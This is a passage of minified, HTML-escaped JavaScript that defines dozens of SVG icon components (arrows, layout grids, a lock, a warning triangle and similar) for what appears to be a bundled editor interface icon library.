0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z&quot;})});var q1=s(de(),1),BR=s(C(),1),MR=(0,BR.jsx)(q1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,BR.jsx)(q1.Path,{d:&quot;M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3zm-5.1 7.6c-2.5 0-4.6-2.1-4.6-4.6 0-.3.1-1 .8-2.3.5-.9 1.1-1.9 2-3.1.7-.9 1.3-1.7 1.8-2.3.7.8 1.3 1.6 1.8 2.3.8 1.1 1.5 2.2 2 3.1.7 1.3.8 2 .8 2.3 0 2.5-2.1 4.6-4.6 4.6z&quot;})});var Z1=s(de(),1),LR=s(C(),1),Pv=(0,LR.jsx)(Z1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,LR.jsx)(Z1.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z&quot;})});var K1=s(de(),1),VR=s(C(),1),jR=(0,VR.jsx)(K1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,VR.jsx)(K1.Path,{d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z&quot;})});var X1=s(de(),1),zR=s(C(),1),kv=(0,zR.jsx)(X1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,zR.jsx)(X1.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z&quot;})});var Q1=s(de(),1),UR=s(C(),1),J1=(0,UR.jsx)(Q1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,UR.jsx)(Q1.Path,{d:&quot;M20.5 16h-.7V8c0-1.1-.9-2-2-2H6.2c-1.1 0-2 .9-2 2v8h-.7c-.8 0-1.5.7-1.5 1.5h20c0-.8-.7-1.5-1.5-1.5zM5.7 8c0-.3.2-.5.5-.5h11.6c.3 0 .5.2.5.5v7.6H5.7V8z&quot;})});var $1=s(de(),1),HR=s(C(),1),GR=(0,HR.jsx)($1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,HR.jsx)($1.Path,{d:&quot;M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z&quot;})});var eS=s(de(),1),WR=s(C(),1),Wm=(0,WR.jsx)(eS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,WR.jsx)(eS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z&quot;})});var tS=s(de(),1),YR=s(C(),1),zd=(0,YR.jsx)(tS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,YR.jsx)(tS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z&quot;})});var rS=s(de(),1),qR=s(C(),1),Ud=(0,qR.jsx)(rS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,qR.jsx)(rS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z&quot;})});var oS=s(de(),1),ZR=s(C(),1),KR=(0,ZR.jsx)(oS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ZR.jsx)(oS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M3 7c0-1.1.9-2 2-2h14a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V7Zm2-.5h14c.3 0 .5.2.5.5v1L12 13.5 4.5 7.9V7c0-.3.2-.5.5-.5Zm-.5 3.3V17c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V9.8L12 15.4 4.5 9.8Z&quot;})});var nS=s(de(),1),XR=s(C(),1),Cl=(0,XR.jsx)(nS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,XR.jsx)(nS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12.218 5.377a.25.25 0 0 0-.436 0l-7.29 12.96a.25.25 0 0 0 .218.373h14.58a.25.25 0 0 0 .218-.372l-7.29-12.96Zm-1.743-.735c.669-1.19 2.381-1.19 3.05 0l7.29 12.96a1.75 1.75 0 0 1-1.525 2.608H4.71a1.75 1.75 0 0 1-1.525-2.608l7.29-12.96ZM12.75 17.46h-1.5v-1.5h1.5v1.5Zm-1.5-3h1.5v-5h-1.5v5Z&quot;})});var iS=s(de(),1),QR=s(C(),1),Xn=(0,QR.jsx)(iS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,QR.jsx)(iS.Path,{d:&quot;M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z&quot;})});var sS=s(de(),1),JR=s(C(),1),$R=(0,JR.jsx)(sS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,JR.jsx)(sS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z&quot;})});var aS=s(de(),1),eA=s(C(),1),Ev=(0,eA.jsx)(aS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,eA.jsx)(aS.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})});var lS=s(de(),1),tA=s(C(),1),rA=(0,tA.jsx)(lS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,tA.jsx)(lS.Path,{d:&quot;M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z&quot;})});var cS=s(de(),1),oA=s(C(),1),Rv=(0,oA.jsx)(cS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,oA.jsx)(cS.Path,{d:&quot;M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})});var uS=s(de(),1),nA=s(C(),1),iA=(0,nA.jsx)(uS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,nA.jsx)(uS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z&quot;})});var Av=s(de(),1),Ov=s(C(),1),sA=(0,Ov.jsxs)(Av.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Ov.jsx)(Av.Path,{d:&quot;m16 15.5h-8v-1.5h8zm-7.5-2.5h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm-9-3h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2z&quot;}),(0,Ov.jsx)(Av.Path,{d:&quot;m18.5 6.5h-13a.5.5 0 0 0 -.5.5v9.5a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-9.5a.5.5 0 0 0 -.5-.5zm-13-1.5h13a2 2 0 0 1 2 2v9.5a2 2 0 0 1 -2 2h-13a2 2 0 0 1 -2-2v-9.5a2 2 0 0 1 2-2z&quot;})]});var dS=s(de(),1),aA=s(C(),1),Bs=(0,aA.jsx)(dS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,aA.jsx)(dS.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})});var fS=s(de(),1),lA=s(C(),1),cA=(0,lA.jsx)(fS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,lA.jsx)(fS.Path,{d:&quot;M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z&quot;})});var mS=s(de(),1),uA=s(C(),1),Iv=(0,uA.jsx)(mS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,uA.jsx)(mS.Path,{d:&quot;M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z&quot;})});var pS=s(de(),1),dA=s(C(),1),fA=(0,dA.jsx)(pS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,dA.jsx)(pS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z&quot;})});var hS=s(de(),1),mA=s(C(),1),Ym=(0,mA.jsx)(hS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,mA.jsx)(hS.Path,{d:&quot;M15 4H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h6c.3 0 .5.2.5.5v12zm-4.5-.5h2V16h-2v1.5z&quot;})});var gS=s(de(),1),pA=s(C(),1),Nr=(0,pA.jsx)(gS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,pA.jsx)(gS.Path,{d:&quot;M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z&quot;})});var vS=s(de(),1),hA=s(C(),1),Nv=(0,hA.jsx)(vS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,hA.jsx)(vS.Path,{d:&quot;M18.5 10a1.5 1.5 0 0 1 1.5 1.5v7a1.5 1.5 0 0 1-1.5 1.5h-7a1.5 1.5 0 0 1-1.5-1.5v-7a1.5 1.5 0 0 1 1.5-1.5zM16 4a2 2 0 0 1 2 2v2h-1.5V6a.5.5 0 0 0-.5-.5H6a.5.5 0 0 0-.5.5v3H8v1.5H5.5V16a.5.5 0 0 0 .5.5h2V18H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2z&quot;})});var yS=s(de(),1),gA=s(C(),1),vA=(0,gA.jsx)(yS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,gA.jsx)(yS.Path,{d:&quot;M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z&quot;})});var bS=s(de(),1),yA=s(C(),1),Tl=(0,yA.jsx)(bS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,yA.jsx)(bS.Path,{d:&quot;M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z&quot;})});var SS=s(de(),1),bA=s(C(),1),Fv=(0,bA.jsx)(SS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,bA.jsx)(SS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z&quot;})});var Dv=s(de(),1),Bv=s(C(),1),qm=(0,Bv.jsxs)(Dv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Bv.jsx)(Dv.Path,{d:&quot;M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z&quot;}),(0,Bv.jsx)(Dv.Path,{d:&quot;M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z&quot;})]});var _S=s(de(),1),SA=s(C(),1),Mv=(0,SA.jsx)(_S.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,SA.jsx)(_S.Path,{d:&quot;m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z&quot;})});var wS=s(de(),1),_A=s(C(),1),Lv=(0,_A.jsx)(wS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,_A.jsx)(wS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z&quot;})});var xS=s(de(),1),wA=s(C(),1),Pl=(0,wA.jsx)(xS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,wA.jsx)(xS.Path,{d:&quot;M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z&quot;})});var CS=s(de(),1),xA=s(C(),1),kl=(0,xA.jsx)(CS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,xA.jsx)(CS.Path,{d:&quot;M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z&quot;})});var TS=s(de(),1),CA=s(C(),1),Hd=(0,CA.jsx)(TS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,CA.jsx)(TS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z&quot;})});var PS=s(de(),1),TA=s(C(),1),Vv=(0,TA.jsx)(PS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,TA.jsx)(PS.Path,{d:&quot;M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z&quot;})});var kS=s(de(),1),PA=s(C(),1),kA=(0,PA.jsx)(kS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,PA.jsx)(kS.Path,{d:&quot;M7 11.5h10V13H7z&quot;})});var ES=s(de(),1),EA=s(C(),1),RA=(0,EA.jsx)(ES.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,EA.jsx)(ES.Path,{d:&quot;M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z&quot;})});var RS=s(de(),1),AA=s(C(),1),OA=(0,AA.jsx)(RS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,AA.jsx)(RS.Path,{d:&quot;M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z&quot;})});var AS=s(de(),1),IA=s(C(),1),jv=(0,IA.jsx)(AS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,IA.jsx)(AS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z&quot;})});var OS=s(de(),1),NA=s(C(),1),Gd=(0,NA.jsx)(OS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,NA.jsx)(OS.Path,{d:&quot;M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z&quot;})});var zv=s(de(),1),Uv=s(C(),1),FA=(0,Uv.jsxs)(zv.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Uv.jsx)(zv.Path,{d:&quot;m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z&quot;}),(0,Uv.jsx)(zv.Path,{d:&quot;m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z&quot;})]});var IS=s(de(),1),DA=s(C(),1),Hv=(0,DA.jsx)(IS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,DA.jsx)(IS.Path,{d:&quot;M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z&quot;})});var NS=s(de(),1),BA=s(C(),1),MA=(0,BA.jsx)(NS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,BA.jsx)(NS.Path,{d:&quot;M17.192 6.75L15.47 5.03l1.06-1.06 3.537 3.53-3.537 3.53-1.06-1.06 1.723-1.72h-3.19c-.602 0-.993.202-1.28.498-.309.319-.538.792-.695 1.383-.13.488-.222 1.023-.296 1.508-.034.664-.116 1.413-.303 2.117-.193.721-.513 1.467-1.068 2.04-.575.594-1.359.954-2.357.954H4v-1.5h4.003c.601 0 .993-.202 1.28-.498.308-.319.538-.792.695-1.383.149-.557.216-1.093.288-1.662l.039-.31a9.653 9.653 0 0 1 .272-1.653c.193-.722.513-1.467 1.067-2.04.576-.594 1.36-.954 2.358-.954h3.19zM8.004 6.75c.8 0 1.46.23 1.988.628a6.24 6.24 0 0 0-.684 1.396 1.725 1.725 0 0 0-.024-.026c-.287-.296-.679-.498-1.28-.498H4v-1.5h4.003zM12.699 14.726c-.161.459-.38.94-.684 1.396.527.397 1.188.628 1.988.628h3.19l-1.722 1.72 1.06 1.06L20.067 16l-3.537-3.53-1.06 1.06 1.723 1.72h-3.19c-.602 0-.993-.202-1.28-.498a1.96 1.96 0 0 1-.024-.026z&quot;})});var FS=s(de(),1),LA=s(C(),1),Gv=(0,LA.jsx)(FS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,LA.jsx)(FS.Path,{d:&quot;M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z&quot;})});var DS=s(de(),1),VA=s(C(),1),jA=(0,VA.jsx)(DS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,VA.jsx)(DS.Path,{fill:&quot;none&quot;,d:&quot;M5.75 12.75V18.25H11.25M12.75 